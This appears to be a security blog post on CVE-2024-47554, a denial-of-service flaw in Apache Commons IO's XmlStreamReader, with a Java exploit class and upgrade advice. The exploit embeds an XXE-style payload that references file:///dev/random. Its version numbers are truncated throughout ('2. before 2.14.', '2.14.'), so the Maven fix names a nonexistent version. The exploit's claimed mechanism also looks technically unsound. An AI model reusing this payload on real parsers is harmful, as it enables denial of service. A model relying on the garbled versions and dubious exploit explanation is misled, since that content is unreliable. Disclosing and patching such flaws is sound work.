The Apache Commons IO library provides a set of utility classes, stream implementations, and file filters that simplify many common input/output operations. Recently, a vulnerability has been identified in versions from 2. before 2.14. of the Apache Commons IO library. This vulnerability, tracked as CVE-2024-47554, is of type "Uncontrolled Resource Consumption" and can be exploited by attackers to create a Denial of Service (DoS) condition, rendering the targeted system unresponsive.

In this post, we will delve into the details of CVE-2024-47554, discussing the affected component, the vulnerability itself, and how it can be exploited. Additionally, we will provide a code snippet demonstrating the issue and discuss the available remedies to mitigate the risk and protect systems from potential threats.

Vulnerability Details

The CVE-2024-47554 vulnerability affects the org.apache.commons.io.input.XmlStreamReader class of the Apache Commons IO library. When processing a maliciously crafted input, this class may excessively consume CPU resources, causing the system to become unresponsive.

Affected Versions

This issue affects Apache Commons IO library versions from 2. before 2.14.. To check the version of the library in your project, you can examine the project's dependency declarations or consult the manifest file packaged within the library's JAR file.

Exploit Details

An attacker can exploit this vulnerability by crafting a specifically designed XML input that, when parsed by the XmlStreamReader class, will cause the CPU usage to spike significantly. This can lead to excessive resource consumption and, consequently, render the system unusable.

For example, the following code snippet demonstrates the use of the XmlStreamReader class and a sample crafted XML input:

import java.io.ByteArrayInputStream;
import java.io.IOException;
import org.apache.commons.io.input.XmlStreamReader;

public class ExploitCVE202447554 {

    public static void main(String[] args) {
        String maliciousXml =
                "<?xml version=\"1.\" encoding=\"utf-8\"?>\n" +
                "<!DOCTYPE foo [\n" +
                " <!ELEMENT foo ANY >\n" +
                " <!ENTITY xxe SYSTEM \"file:///dev/random\" >]>\n" +
                "<foo>&xxe;</foo>";

        try (ByteArrayInputStream inputStream = new ByteArrayInputStream(maliciousXml.getBytes())) {
            XmlStreamReader xmlStreamReader = new XmlStreamReader(inputStream);

            System.out.println(xmlStreamReader.getEncoding());
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

This code snippet shows the processing of a malicious XML input that references a system file, which results in an abrupt increase in CPU usage, eventually causing a DoS condition.

Mitigation and Remediation

The Apache Commons IO library developers have provided a fix for this vulnerability in version 2.14.. Users affected by CVE-2024-47554 are advised to upgrade their library version to 2.14. or later. To do so, update the dependency declarations in your project's build configuration (Maven, Gradle, etc.) to reference the fixed version.

For example, if your project uses Maven, update the dependency in your pom.xml file as follows

<dependency>
  <groupId>commons-io</groupId>
  <artifactId>commons-io</artifactId>
  <version>2.14.</version>
</dependency>

After updating the library version, be sure to recompile your project, and test your application to ensure everything is functioning properly.

Conclusion

Staying informed about vulnerabilities, such as the one discussed in this post, is crucial for maintaining the security and stability of software systems. It is of paramount importance that developers keep their software dependencies updated and apply patches provided by library authors as soon as possible.

Original References

1. Apache Commons IO Official Website
2. CVE-2024-47554: Uncontrolled Resource Consumption vulnerability
3. Apache Commons IO 2.14. Release Notes

Timeline

Published on: 10/03/2024 12:15:02 UTC
Last modified on: 12/04/2024 15:15:11 UTC